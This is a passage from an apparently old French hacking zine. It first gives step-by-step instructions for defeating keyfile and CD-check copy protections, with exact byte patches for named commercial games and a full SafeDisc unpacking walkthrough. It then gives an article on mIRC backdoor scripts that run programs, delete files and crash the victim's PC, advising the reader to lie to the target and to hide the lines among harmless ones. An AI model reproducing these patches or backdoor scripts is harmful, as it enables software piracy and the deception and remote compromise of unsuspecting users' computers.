  :00404624    CMP     EAX,-01                   ; Est-ce que le fichier existe ?
  :00404627    JZ      00404652                  ; si il n'existe pas a saute
  :00404629    MOV     [EBX],EAX
  :0040462B    POP     EDI
  :0040462C    POP     ESI
  :0040462D    POP     EBX
  :0040462E    RET                               ; tout est ok! on sort d'ici!

On a notre fichier, donc le test est ok ! On continue  tracer avec F10 on passe le RET
et on trouver un code du genre:



  :00429D93    CALL    00402618
  :00429D98    JMP     00429DB4
  :00429D9A    LEA     EDX,[EBP-01]
  :00429D9D    LEA     EAX,[EBP-0150]
  :00429DA3    CALL    004044E8
  :00429DA8    CALL    00402618
  :00429DAD    XOR     EAX,EAX                 ; EAX = 0
  :00429DAF    MOV     AL,[EBP-01]             ; Prends le caractre du keyfile (dans ebp-1)
  :00429DB2    ADD     EBX,EAX                 ; additionne la valeur  EBX
  :00429DB4    LEA     EAX,[EBP-0150]
  :00429DBA    CALL    00404494
  :00429DBF    CALL    00402618
  :00429DC4    TEST    AL,AL                   ; On a fait toutes les lettes ?
  :00429DC6    JZ      00429D9A                ; non ? alors on saute sinon on continue
  :00429DC8    LEA     EAX,[EBP-0150]
  :00429DCE    CALL    00404458
  :00429DD3    CALL    00402618
  :00429DD8    CMP     EBX,000020A9            ; La somme des caractres = 20A9h ?
  :00429DDE    JNZ     00429DEE                ; Si c'est gal alors le keyfile est valide 


La somme de mon fichier fait: 794h
Ce n'est pas gal  20A9h donc le keyfile n'est pas valide!!
On va rectifier a !! 20A9h - 794h = 1915h
Il nous faut donc ajouter 1915h  notre keyfile! On va ajouter des FFh (255)

Je n'ai plus le keyfile sous la main, mais je pense que vous avez compris comment a marche !
Alors je vous laisse vous amuser !!



Sinon, le keyfile le plus petit possible est :



00000000:      FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00000010:      FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00000020:      C9


Il n'y a aucun texte dans cette keyfile, on retrouve juste la somme ncessaire: 20A9h
Alors amusez vous  faire votre propre keyfile et si vous n'avez pas compris comment
faire, essayez de complter mon keyfile :)

Voil, la partie keyfile fut brve !
Il existe un crackme un peu plus compliqu mais trs intressant  essayer:
Cruehead Crackme 3 ! 
Il est toujours simple, mais plus fin  cracker ;)
Vous devez l'essayer, et pourquoi par faire un keymaker !
Il existe d'autres crackme utilisant les keyfiles! Alors vous pouvez vous entraner
si vous avez du mal!
Note: N'essayer pas de cracker CuteFTP juste aprs avoir lu ce cours, si vous n'avez jamais
      crack de keyfiles de votre vie! C'est un conseil ....






 CD Check (les BPX, et techniques diverses...)
:::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::


Alors l, c'est la partie cracking jeux!!
Qu'est qu'un CD check ? 
Un CD check est la dtection du CD dans le lecteur pour viter aux petits
pirates en herbes de copier les jeux sur leur disque durs pour y jouer
sans CD :)
lol!! Il y a bcp de jeux protgs par CD check mais bon, les 3/4 on se pisse
de rire!!
La protection actuelle qui calme les "petits" crackers est CDilla,
cette protection est en effet d'un niveau lev par rapport aux protections
que l'on trouve dans: Quake 2, Formula 1, King Pin et bcp d'autres !!
Mais, je vais vous montrer comment cracker les 2 avant-dernires protections
de CDilla !! N'ayant aucun jeux originaux (hehe, no way ) je n'ai pas pu
tester la toute dernire version encore, qui est soi-disant plus dure;)
Je vais aussi vous parler des protections commerciales !
Mais je ne vous dcrirais que CD Lock et CDilla ! Il existe de nombreux cours
sur securom, et autres protections CD commerciales !
J'cris pas un roman lol

Alors nous allons commencer par les protections TRES TRES simples !!


Les CD check de bases:

*** Avec W32Dasm: *****

Comme exemple on va prendre Formula 1:
Il contrle si il y a le CD du jeu et si ce n'est pas le cas il refuse 
de se lancer.
Aprs avoir install le jeu on le lance (aprs avoir retir le CD !!!)
Et un message apparat "Formula 1 CD NOT Found". Il n'en faut pas plus
pour le cracker.
Prenez W32Dasm et dsassemblez le fichier excutable, en l'occurrence
F1win.exe.
Cherchez dans String Data References (Menu "Refs") de W32Dasm et recherchez
la phrase. On trouve a quelques lignes avant le message d'erreur :



00409AC3 FF5234         call [edx+34]
00409AC6 85C0           test eax, eax
00409AC8 7D50           jge 00409B1A

L il y a un test qui ne nous envoie pas au jeu si il ne trouve pas le CD,
donc on place des NOP et il n'y a plus aucun Test et le jeu se lance
quoi qu'il arrive. Cela donne :


00409AC3 FF5234         call [edx+34]
00409AC6 90             nop
00409AC7 90             nop
00409AC8 7D50           jge 00409B1A

Donc pour le cracker il faut rechercher avec un diteur hexadcimal
la chane FF 52 34 85 C0 7D 50 et la remplacer par FF 52 34 90 90 7D 50
c'est tout.



2me exemple : Quake 2 v3.14

Aprs avoir install le jeu ou aprs avoir mis le patch 3.14,
quand on lance Quake 2 sans le CD dans le lecteur, il marche jusqu'au
menu puis lorsqu'on lance une nouvelle partie boum! Le message
"You must have the Quake 2 CD in ..." 

On dsassembles le fichier avec W32Dasm puis on cherche dans String Data References 
le message "You must have the Quake 2 CD in ..." 
Bcp de jeux utilisent cette connerie de message !! (ils sont rares de nos jours
cependant!)

Vous marquez "Please insert the XXX CD" (vous cherchez cette phrase dans 
String Data References.)
Aprs avoir trouv cette phrase dans String Data References, clicker 2
fois dessus, cela vous amnera au dsassembler  la ligne du message.
Remontez un peu avec la barre de dfilement, vous trouverez juste au
dessus:

E82BFFFFFF     call 0042F520
803800         cmp byte ptr [eax], 00
750F           jne 0042F609

L on voit un petit "750F" qui reprsente le "Jne" (celui dont je vous
parlais au dbut), il reprsente un saut si ce n'est pas gal. Donc si
il n'y a pas le CD dans le lecteur, ce n'est pas "gal au CD" donc le
programme saute au message d'erreur et le jeu ne marche pas!
On va noper ce con de saut !!

Le code devient:

E82BFFFFFF     call 0042F520
803800         cmp byte ptr [eax], 00
90	       nop
90	       nop

Et c'est partie !! Les CD checks de ce type!!: That's bullshits !

Donc pour cracker dfinitivement le jeu on cherche la chane
Hexadcimale suivante avec un diteur Hexa du style HexWorkshop, Hedit. 
La chane :  FF FF 80 38 00 75 0F et la remplacer par FF FF 80 38 00
90 90.
Fermez W32Dasm et lancez Quake 2. Bingo le jeu marche c'est cool!

Vous allez me dire !! Ca marche que sur les vieux jeux a ;PP
Alors comme autre Exemple: KingPin version Fr

***************
*** KingPin ***
***************



Cracking part:

Qd vous lancez le jeu avec un CD grav, on voit les super (lol) messages:
You must have the KingPin CD in the drive to play...

Hahah, j'adore ce genre de conneries!
Lancez W32Dasm et dsassemblez le jeu!

Allez dans les References et cherchez la phrase du jeux!
Double click dessus et on ne voit rien de super! donc on re-double click dessus !
Et cette fois-ci!! On trouve qq chose de bien :


* Referenced by a CALL at Address:
|:0043D5F1                                                       &lt;== hoho :))
|
:00442030 56                      push esi
:00442031 E84AFFFFFF              call 00441F80
:00442036 8BF0                    mov esi, eax
:00442038 85F6                    test esi, esi
:0044203A 750E                    jne 0044204A

* Possible StringData Ref from Data Obj -&gt;"You must have the KINGPIN CD in "
                                        -&gt;"the drive to play."
                                  |
:0044203C 68C8414500              push 004541C8                   &lt;== on arrive ici
:00442041 50                      push eax
:00442042 E859D7FDFF              call 0041F7A0
:00442047 83C408                  add esp, 00000008



Donc, nous voyons le message d'erreur et un petit jne juste avant !!
Mais bon, remplacez un je en Jne et autres, a fait branleur !!!
Rflchissons un peu ;)

On a vu :

* Referenced by a CALL at Address:
|:0043D5F1 


Donc avec W32Dasm on va regarder ce call !!
Allez dans le menu "Goto" et clickez sur "goto code location" et entrez : 43D5F1
Maintenant on arrive ici:


:0043D5E5 A184274900              mov eax, dword ptr [00492784]
:0043D5EA 83C40C                  add esp, 0000000C
:0043D5ED 85C0                    test eax, eax
:0043D5EF 7505                    jne 0043D5F6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043D5D2(U)
|
:0043D5F1 E83A4A0000              call 00442030           &lt;== get the fuck outta here!

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0043D51F(U), :0043D532(C), :0043D55A(U), :0043D5BA(C), :0043D5D0(C)
|:0043D5EF(C)


Hehehe, voil !! C'est ce call de merde qui appelle la routine de CD check !
On va le noper et il nous tanera plus !! Promis.

Clickez sur ce call, en bas de la fentre de W32Dasm, vous devez voir offset : 3D5F1
Lancez votre diteur hexa et allez  cet offset !
On remplace E83A4A0000 par 9090909090.

Enregistrez le fichier et lancez le ;)

Choisissez new game, et WOW !! Le jeu marche *grin* !
Piece of cake !!
On vient de cracker King Pin ! Un jeux super rcent mais avec une protection 
de merde :) (tant mieux hehe, vous allez voir CDilla, c'est autre choses)
Voil, c'est fini pour les CD checks de bases avec W32Dasm !


**** CD check avec Soft-ice *****


Voici un exemple Trs simple de CD check !
Mais cette fois-ci on utilise Soft-ice (my love)

Le but du crackme et de faire afficher le message de bon CD qd on a pas un
seul CD dans le lecteur :)

On le lance sans CD, on click sur le bouton et une messagebox de merde
arrive !! mouahah
Les BPX les plus utiliss dans le CD checks sont: GETDRIVETYPEA et 
GETVOLUMEINFORMATIONA !!

Mettez un bpx sur GETDRIVETYPEA et clickez sur le bouton! Pressez F12 tant que l'on
est pas  la bonne place !!

Vous devriez voir qq chose comme a:


025F:00401032  83F805              CMP     EAX,05           &lt;--- c'est un CD ?
025F:00401035  75DC                JNZ     00401013
025F:00401037  6A00                PUSH    00
025F:00401039  6A00                PUSH    00
025F:0040103B  6A00                PUSH    00
025F:0040103D  6A00                PUSH    00
025F:0040103F  6A00                PUSH    00
025F:00401041  6A20                PUSH    20
025F:00401043  68F7214000          PUSH    004021F7
025F:00401048  685A224000          PUSH    0040225A
025F:0040104D  E85E000000          CALL    KERNEL32!GetVolumeInformationA
025F:00401052  0BC0                OR      EAX,EAX
025F:00401054  74BD                JZ      00401013          &lt;-- JMP BAD CRACKER
025F:00401056  6A00                PUSH    00
025F:00401058  685F224000          PUSH    0040225F
025F:0040105D  6A00                PUSH    00
025F:0040105F  6A00                PUSH    00
025F:00401061  685A224000          PUSH    0040225A



Ok, c'est trop simple, il compare la valeur d'EAX avec 5!
Hmm pourquoi 5 ?
Voici un petit tableau des diffrents type de lecteurs et leurs rfrences:

La valeur dans EAX veux dire:

     0                 Lecteur indtermin
     1                 Rpertoire sur la racine n'existe pas
     2                 Disque removable
     3                 Disque dur 
     4                 Remote Drive(Network)
     5                 CD ROM
     6                 RamDisk

Donc le crackme ici compare EAX avec 5 ! Donc il veut un CD ROM arff
sinon il saute!!


025F:00401032  83F805              CMP     EAX,05          
025F:00401035  75DC                JNZ     00401013        &lt;-- on NOP a

On nop a ! Et plus jamais de problmes avec a hehehe !!
On ouvre le crackme avec un diteur hexa, on cherche 83F80575DC et on remplace par
83F8059090.
Aprs ce contrle de type de disque, on voit un  "CALL    KERNEL32!GetVolumeInformationA"
Hehe, une API souvent utilise par les CD checks!

Ca ressemblais  a:

025F:0040104D  E85E000000          CALL    KERNEL32!GetVolumeInformationA
025F:00401052  0BC0                OR      EAX,EAX
025F:00401054  74BD                JZ      00401013          &lt;-- Jump to bad boy



Encore une fois ! On NOP le saut conditionnel et le CD is no more :)
Ben voil, c'est fini, je ne vais pas faire un roman non plus sur les CD checks ehehe

********************************************
**  CD CHECKS: PROTECTIONS COMMERCIALES:  **
**                                        **
**       CD LOCK: TOMB RAIDER 3 FR        **
********************************************

Vous tes srement beaucoup  vouloir Tomb Raider III mais ce jeu est protg
contre la copie ! Enfin, en thorie !!!!
Tout d'abord nous allons voir la protection. Un CD Vierge ne peut contenir que 650 Mo
de donnes et le CD original de Tomb Raider III contient 3 Go de donnes ?!
Oui en fait il y a 4 fichiers qui font 600 Mo chacun : Awcs.afp ; Neir.afp ; Oket.afp et
Vfaw.afp . Pour Pouvoir le graver il faut d'abord copier tous les fichiers du CD sur le 
disque dur, sauf les 4 cits plus haut. Ensuite crer 4 fichiers avec le mme nom avec un
caractre dedans pour que le fichier fasse 1 octet. Maintenant on grave le CD sans problme
mais le jeu ne marchera pas car il est encore protg !!! Et c'est l qu'intervient le
cracking!

Nous sommes en prsence d'un CD Check (contrle du CD) et le jeu nous affiche le message
" Tomb Raider III CD ?" malgr la prsence du CD Grav.
Si vous avez lu le premier cours, vous vous dites comme moi, on va le dsassembler et chercher
cette phrase dans String Data References. Le problme c'est que l'on ne trouve pas cette phrase,
donc il suffit de rflchir un tout petit peu.
Il y a 4 fichiers qui ne servent  rien donc on va chercher le nom de l'un d'eux dans
les String Data References. On voit d:\Awcs.afp , d:\Neir.afp , d:\Oket.afp et d:\Vfaw.afp. 
 


Donc on double-click dessus et on retourne dans W32Dasm, juste au code source de cette
rfrence, on remonte avec les barres de dfilement et on trouve:

	test edi, edi
	jne 0048D2CE

* Possible string data reference from Obj -&gt;"rb"

	Push 004C7AD4

* Possible string data reference from Obj -&gt;"d:\AWCS.AFP"
.......



Le Jne (Jump if not equal) fait le saut s'il ne trouve pas le fichier de 600 Mo donc on le
change en je (jump if equal) et le programme ne saute que si il trouve le fichier. Il peut
toujours chercher !!! Donc maintenant on ouvre le fichier Tomb3.exe avec un diteur
hexadcimal, on cherche la chane 85FF756568D4 et on la remplace par 85FF746568D4 .
Et on enregistre le fichier. Le jne 0048D2CE est devenu Je 0048D2CE.
Maintenant on refait la mme chose avec les autres fichiers.(d:\Neir.afp , d:\Oket.afp et

d:\Vfaw.afp)
Les 2 premiers seront casi-identiques mais on ne trouvera pas la mme chose au fichier
"D:\Vfaw.afp"
C'est normal il n'y a rien  changer. Donc vous avez chang :

- pour "Neir.afp":
0F85F9000000   par  0F84F9000000     ===&gt; le 85 (jne) devient 84 (je)
- pour "Oket.afp":
0F85AD000000   par  0F84AD000000     ===&gt; le 85 (jne) devient 84 (je)
- rien pour "Vfaw.afp"

Normalement, vous avez tout chang avec l'diteur Hexadcimal et Sauvegardez. Une fois ceci
fait vous pouvez lancer le jeu avec un CD grav dans le lecteur !!!
					
					Tomb Raider III is Now Cracked !!!


Voil!!
La Protection CD lock est assez stupide en fait !!
Mme trs simple  cracker ! Vous la retrouverez dans Commandos par exemple aussi :)
Pour le cours qui suit sur CDilla, il serait prfrable d'aller jeter un oeuil
 la partie unpacking qui suit ce cours si vous ne connaissez rien en unpacking et 
autres dumping !! Mais si vous tes dj  l'aise avec le PE, et que vous vous prenez
pour un 133t Cr4x0R hehe, lisez !! Mais ne pleurez pas si vous ne comprenez rien !!!
Voil, let's go


************************************************************************
****                       CDilla : Safe disc                       ****
************************************************************************


      MidTown Madness version Franaise: Une autre approche sur CDilla   
								 

Outils ncessaires:   * CD Original de Midtown Madness
                      * Soft-ice 3.23			 
                      * Soft-ice Tool pour patcher Soft-ice (pour dumper les sections)
                      * HexWorkshop
                      * Frogsice (pour cacher Soft-ice)
                      * ProcDump (comme PE Editor)
                      * Exescope



Introduction:

Salut  tous, je sais qu'il y a dj un cours sur Midtown Madness par black check
mais la mthode que j'utilise n'est pas la mme que lui...
Je vais expliquer le plus de choses possible et en plus c'est le 1er cours sur
CDilla en franais !!!
Il serait prfrable de lire le cours de black check avant, et d'avoir quelques
connaissances sur le format PE...


A Mort CDilla:


Aprs avoir install le jeu, ditez le PE du fichier ".icd" avec ProcDump.
(lancez ProcDump, clickez sur PE Editor, allez o se trouve votre fichier ".icd")
Le fichier est : Midtown.icd 

Maintenant, vous devez voir ceci:


		     - Entry Point : 00166C10
		     - Image Base  : 00400000

Ok, nous allons avoir besoin de l'OEP (Original Entry Point) plus tard donc
nous allons le calculer ds maintenant.
Pour cela on a besoin de l'Image base et de l'Entry point que l'on obtient avec 
ProcDump : 00400000 + 00166C10 = 566C10  (on les additionnes)


Maintenant, clicker sur le bouton "sections" pour voir toutes les sections du fichier.

On ne va avoir besoin que des valeurs Virtual Offset, Raw Size, et Raw Offset !


- pour la section ".text" :


   Virtual Offset: 00001000 
         Raw Size: 18D78F
       Raw Offset: 600


- pour la section ".Rdata" :


   Virtual Offset: 0018F000
         Raw Size: 14C99
       Raw Offset: 18DE00



- pour la section ".data" :


   Virtual Offset: 001A4000
         Raw Size: 3D8A4
       Raw Offset: 1A2C00



- pour la section ".data1" :


   Virtual Offset: 00314000
         Raw Size: 20
       Raw Offset: 1E0600


- pour la section ".rsrc" :


   Virtual Offset: 00315000
         Raw Size: CB3
       Raw Offset: 1E0800


Nous allons donc dumper toutes les sections du fichier ".icd" except la section ".Rdata" 
car, c'est plus compliqu pour celle-ci !!

Il faut tout d'abord additionner l'Image base avec le Virtual Offset de toutes les sections:

.text  : 400000 + 00001000 = 00401000
.rdata : 400000 + 0018F000 = 0058F000
.data  : 400000 + 001A4000 = 005A4000
.data1 : 400000 + 00314000 = 00714000
.rsrc  : 400000 + 00315000 = 00715000


Ok, maintenant nous allons dumper les sections...
Pour cela,  mettez un breakpoint sur EOP (566C10 pour ce jeu).
Vous avez srement remarqu, que si vous lancez le jeu avec Soft-ice charg,
il vous envois chier, car il y a de l'anti Soft-ice.
CDilla utilise meltice (createfilea) et l'int68h pour dtecter Soft-ice.
Le mieux, c'est d'utiliser Frogsice, pour le cacher. J'utilise la version 0.20b, mais
il faut la patcher pour qu'elle cache compltement Soft-ice de la dtection par int68h.
Dans le cours de black check on voit qui faut rechercher dans le fichier: FrogSice.vxd

-60 80 7d 1d 43
et le remplacer par :
-C3 80 7d 1d 43

Voil, maintenant, plus aucun problme avec la dtection de Soft-ice, on va pouvoir
s'occuper des choses srieuses !!
Lancez votre Frogsice (version patche) et lancez le jeu.
Pendant la vido, faites apparatre Soft-ice (ctrl+D) et mettez votre bpx sur l'OEP:
Bpx 56CC10 pour ce jeu...

Pressez F5, le jeu continue de se lancer, et quittez-le.
Maintenant relancez-le et Soft-ice breaks sur 56CC10. Si Soft-ice ne break pas, regardez
si vous avez bien mis votre bpx au bon endroit! (tapez bl et vous devez obtenir qq chose
comme a #025F:56CC10)

Donc, Soft-ice break sur l'OEP, vous n'avez plus qu' dumper les sections :)

Avant le dump, dsactivez tous les bpx (bd *) car on veut pas de merdes dans nos sections
dumpes ehe !!

Grce  Sice Tool, vous avez modifi la commande pagein qui vous permettra de dumper... 
La commande pagein fonctionne donc comme ceci pour dumper:

pagein "l'adresse du dbut du dump" "longueur du dump" "nom du fichier"
Donc dans Soft-ice, tapez:


pagein 401000 18D78F c:\text.bin
pagein 5A4000 3D8A4 c:\data.bin
pagein 714000 20 c:\data1.bin
pagein 715000 CB3 c:\rsrc.bin

Voil, nous avons donc nos sections sur le disque dur !!!!


Passons aux choses srieuses !!! : La Section Rdata :


Bon, pour dumper cette section, c'est pas aussi simple =)


Tout d'abord, nous devons trouver l'adresse relle de la fonction de dcryptage et pour
cela nous allons tracer dans le call qui appelle dans la section rdata...
Aprs que Soft-ice ai stopp sur l'OEP, on arrive ici :




00566C10   PUSH    EBP               &lt;-- on stoppe ici sur l'entry point
00566C11   MOV     EBP,ESP
00566C13   PUSH    FF
00566C15   PUSH    005968D0
00566C1A   PUSH    00566724
00566C1F   MOV     EAX,FS:[00000000]
00566C25   PUSH    EAX
00566C26   MOV     FS:[00000000],ESP
00566C2D   ADD     ESP, -5C
00566C30   PUSH    EBX
00566C31   PUSH    ESI
00566C32   PUSH    EDI
00566C33   MOV     [EBP-18],ESP
00566C36   CALL    [0058F14C]        &lt;-- voici notre call, on trace dedans (F8)


Dans le call , on arrive ici :

009A6485     pushad
009A6486     push 00000031              
009A6488     push 00000000    <-- 0 dsigne les imports kernels, pour les users a sera 1
009A6490     call [9A64A6]    <-- l'adresse relle de la fonction (9A64A6)
009A6496     add esp, 8
009A6499     popad
.......      jmp [XXXXXXXX]


Tracez dans le call et vous allez voir que le jmp [XXXXXXXX] devient jmp [KERNEL32!GetVersion]
Ok, c'est normal, on est sur le bon chemin :o)
Nous allons bientt programmer le Call fixer...
Mais avant tout, nous devons connatre le nombre d'import de Kernels et users qu'il y a dans
le jeu que l'on crack.
Pour cela, plusieurs mthodes, on peut dsassembler le fichier ".icd" avec W32Dasm
et les compter ou bien tracer avec Soft-ice, mais j'ai utilis un programme nomm : EXESCOPE
pour savoir le nombre d'imports...
Donc dans le fichier midtown.icd , j'ai :

- 127 imports pour kernel32
- 42 import pour user32

Ok, nous avons besoin des ses valeurs en hexadcimal, car dans Soft-ice on n'utilise pas de 
dcimal:

127 = 7Fh
 42 = 2Ah

Ma partie prfre qd on crack CDilla:  Programmer le call fixer.
Nous n'avons pas l'accs en criture dans la section Rdata, donc nous allons la dplacer
dans la section rdata...
Pour coder le call fixer, je commence sur l'entry point, donc il faut ractiver le bpx
sur l'OEP, et relancer le jeu. Attendez que le jeu stoppe dans Soft-ice.

Maintenant on va dplacer notre rdata section  la place de la data section en mmoire.
Pour faire a, taper :

m "le virtual offset de la section RDATA + l'image base" l "la longueur de RDATA" "le virtual
offset de la section DATA"

NOTE: Pour le virtual offset de la section data, utiliser un nombre plus grand, c'est mieux...


5A4000 est notre virtual offset, j'ai utilis 5B0000 (Plus grand comme je vous ai dit)

Vous avez donc  taper:

m 58F000 l 14C99 5B0000

Maintenant, nous allons programmer le call fixer !!

Vous tes donc  la ligne: 566C10     PUSH   EBP

Ce que nous allons taper va ressembler  cela:

00 pushad
01 push ebx
02 push 0
04 call [XXXXXXXX]
0A add esp,8
0D mov edx, XXXXXX 
12 cmp eax,[edx] 
14 je 20
16 inc edx
17 cmp edx, XXXXXX + XXXXX
1D jne 12
1F int 03       
20 mov [edx],ecx
22 popad
23 inc ebx
24 cmp ebx, XX  
2A jne 00
2C int 03


C'est partis !!!

Tapez dans Soft-ice: A "et la touche entre"

et programmez :

566C10   pushad
566C11   push ebx
566C12   push 0
566C14   call [009A64A6]           adresse de la fonction trouv en traant dans le call
566C1A   add esp,8
566C1D   mov edx, 5B0000           adresse o nous avons copi notre section .rdata 
566C22   cmp eax,[edx]    
566C24   je 566C40
566C26   inc edx
566C27   cmp edx, 5B0000 + 14C99  adresse o nous avons copi notre section .rdata + rdata size 
566C3D   jne 566C22
566C3F   int 03                    par scurit, si il ne trouve rien, il stoppe ici
566C40   mov [edx],ecx    
566C42   popad
566C43   inc ebx
566C44   cmp ebx, 7F               Nombre d'API  rparer
566C4A   jne 566C10
566C4C   int 03


Mettez ebx  0 (R ebx 0) , et votre eip  la ligne  0 (ligne 0 = 566C10 ici, donc:
R EIP 566C10)
tapez "i3here on" et pressez F5 pour excuter le code, normalement on devrait stopper sur
566C4C .
Remettez votre ebx  0, changez la ligne 02 (56CC12 ici) en "push 1" et changez la ligne 24 en
'cmp ebx, user_import_number' (2A for us) et remettez votre eip  la ligne 0 (R EIP 566C10). 
Excuter a encore (F5). Normalement tout est ok, et on doit encore avoir stopp sur 566C4C .
Nous pouvons maintenant dumper la section rdata sans crainte car tout est dcrypt :o)

pagein 5B0000 14C99 c:\rdata.bin


Hehe !! Maintenant on va reconstruire un fichier excutable qui va tre le fichier final.
J'ai essay ProcDump pour importer les sections, mais cette merde n'a rien chang GRR !
Donc, je l'ai fait  la main comme un grand ;)
Voil comment faire :

En premier faites une copie du fichier ".icd" (Midtown.icd) et renommez-le en ce que vous
voulez mais avec l'extension ".exe" (ex: fuckit.exe)

Ok, lancez HexWorkshop, ouvrez "Damnit.exe", ainsi que le fichier de notre premire section
dump :

C'tait: c:\text.bin

On va avoir besoin du Raw offset de chaque section, on les trouves au dbut du cours mais
je vais vous les remettre pour une meilleure comprhension:

 for the ".text" section : Raw Offset: 600         size : 18D78F 
for the ".Rdata" section : Raw Offset: 18DE00      size : 14C99
 for the ".data" section : Raw Offset: 1A2C00      size : 3D8A4
for the ".data1" section : Raw Offset: 1E0600      size : 20
 for the ".rsrc" section : Raw Offset: 1E0800      size : CB3

Ok, you got all shits here !! We want to do the 1st section ".text" so :

Dans HexWorkshop, pressez alt+f5, entrez le Raw offset de la section que vous voulez importer
ici : 600 et cliquez sur ok. Allez dans le menu Edit, et cliquez sur "select block"
Entrez la longueur (size) de la section, ici : 18D78F...
Regardez le fichier ouvert (text.bin) et pressez 'ctrl+a' pour tout slectionner..
copiez tout a avec 'ctrl+c'.
Retournez dans la fentre principale de l'excutable dans HexWorkshop (damnit.exe), et coller
ce que vous venez de copier dans le presse papier, faites: 'ctrl+v' ou menu Edit et paste.
Enregistrez votre fichier, cool !! Voil, c'est fini pour la section '.text', elle est 
maintenant dcrypte!!


Ok, je vais vous montrer l'import d'une autre section et vous ferez les autres de la mme
faon !


2me section : Rdata!

Vous pouvez fermer la fentre 'text.bin', et ouvrez le fichier: 'rdata.bin' avec HexWorkshop.
Retournez dans la fentre de l'excutable et pressez 'alt+f5', entrez le Raw offset de la
section rdata: 18DE00.
Cliquer sur le menu Edit, et cliquer sur "select block" entrez la longueur (size) de la
section, ici : 14C99

Regardez la fentre de rdata.bin , pressez 'ctrl+a' pour slectionner tout et copiez les bytes
avec 'ctrl+c'... 
Retournez dans la fentre de l'excutable (damnit.exe) dans HexWorkshop et collez avec
'ctrl+v' ou avec le menu Edit..

Ok, je pense que vous avez compris maintenant, faites de mme avec toutes les sections 
et enregistrez les modifications dans l'excutable.

Vous pouvez quitter Frogsice car l'anti Soft-ice n'est plus dans notre nouvel excutable !!
Virez le CD original de Midtown Madness et lancez 'damnit.exe'.

WOW, le jeu marche, se lance trs rapidement et sans cette merde de fentre qui nous dit
d'attendre durant la vrification du CD.
Le jeux marche superbement bien :o)

Mais pour faire une excutable parfait, il faut reconstruire le PE en utilisant ProcDump
afin qu'il marche avec tous les OS.

Si vous lancez le jeu sur une autre version de Windows a va planter :(
Allez, on va rparer a !!


- Lancez ProcDump (Merci G-RoM :)
allez dans les Options et slectionnez:

[X]Recompute Object Size
[X]Optmize PE Structure

[X] Use actual import infos
et cliquer sur OK

Cliquez sur Rebuild PE, et cherchez notre nouveau fichier (Damnit.exe pour nous)

ProcDump nous fais une valide import table et notre excutable est PARFAIT :o)
du moins, j'espre hehe !!

Voil, je pense que a suffira pour les protections CD !!




											-)-[ tHE ANALYST ]-(-
											^^^^^^^^^^^^^^^^^^^^^^^ 






		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 






	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

             		         CONTROLER UN PC GRACE A IRC

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	




	Cet article n'est pas d'un niveau trs lev, car il repose sur de simples backdoors
dans des scripts IRC, mais cela montre qu'en cherchant un peu, il est possible de faire pas
mal de trucs sur le PC d'un mec via des scripts IRC.


	Tout d'abord, voici les explications sur de simples lignes de script qu'on pourrait
qualifier de backdoors :



on 1:TEXT:*!say*:*:/msg  $2-

	Ce script permet de faire dire ce que l'on veut  la personne qui l'a install en tapant
la commande :

			!say #chan <message>

	Par exemple, si vous tapez "!say #nethack fuck", la personne dira "fuck" sur le 
han #nethack (ce ne sera pas vraiment la personne, mais ce sera son nick).




on 1:TEXT:!exe*:*:/run $2-

	Ce script permet de lancer des programmes sur l'ordinateur de la personne qui a install
ce script en tapant la commande :

			!exe <adresse du programme>

	Par exemple, si vous tapez "!exe c:\windows\calc.exe", la machine de votre victime lancera
la calculatrice Windows.




on 1:TEXT:!del*:*:/remove $2-

	Ce script permet d'effacer des fichiers sur l'ordinateur de la personne qui a install
ce script en tapant la commande :

			!del <adresse du fichier>

	Par exemple, si vous tapez "!del c:\autoexec.bat", vous effecerez le fichier
autoexec.bat de l'ordinateur de votre victime.




on 1:TEXT:!write*:*:/write $2-

	Ce script permet d'crire dans les fichiers textes se trouvant sur l'ordinateur de la
personne qui a install ce script en tapant la commande :

			!write <adresse du fichier> <message>

	Par exemple, si vous tapez "!write c:\autoexec.bat Hacked", vous rajouterez le mot
"Hacked"  la fin du autoexec.bat de la machine de votre victime.




on 1:TEXT:*!kill*:*:/con/con

	Ce script permet de faire planter l'ordinateur de la personne qui a install ce script
en tapant la commande :

			!kill

	Par exemple, si vous tapez "!kill", votre cible se retrouvera devant un ben cran bleu :o)




	Donc, nous avons vu que l'on peut faire pas mal de choses sur un ordinateur distant
grce aux scripts ci-dessus.

	La problmatique, c'est qu'il faut que votre cible installe les scripts dans la partie
"Remote" pour que vous puissiez les utiliser.

	Si la personne que vous visez ne connait absolument rien en script, vous pouvez tout
simplement lui mentir en lui disant que le script lui permettra de tracer quelqu'un et de
s'opper sur tous les chans publics, ou un truc du genre, et vous n'avez alors plus qu' lui
envoyer le script suivant :


 -=/ --/-- CUT HERE --/--  CUT HERE --/-- /=-

	on 1:TEXT:*!say*:*:/msg  $2-
	on 1:TEXT:!exe*:*:/run $2-
	on 1:TEXT:!del*:*:/remove $2-
	on 1:TEXT:!write*:*:/write $2-
	on 1:TEXT:*!kill*:*:/con/con

 -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-



	Maintenant, si vous craignez que votre cible s'y connaisse ne serait-ce qu'un petit peu,
vous pouvez noyer ces cinq lignes dans d'autres scripts plus anodins, sachant que plus il y
aura de lignes, mieux ce sera, car votre cible ne prendra pas le temps d'analyser toutes les
commandes une par une.

	Voici un exemple de script  lui faire installer, mais n'hsitez pas  rajouter encore
des commandes ou carrment  recopier plusieurs fois la mme ligne :


 -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-

	1:join:#:/msg $nick Salut $nick :o)
	on 1:TEXT:*!say*:*:/msg  $2-
	1:text:*bye*:#:/msg A plus $nick :o)
	on 1:TEXT:!exe*:*:/run $2-
	1:PING:/notice $nick [ $me PING Reply] : 000 secs
	on 10:join:#:/echo 5 $nick is in $chan
	on 1:TEXT:!write*:*:/write $2-
	1:time:*:/notice $nick now, it is $time
	1:join:#:/msg $nick Como estas $nick ?
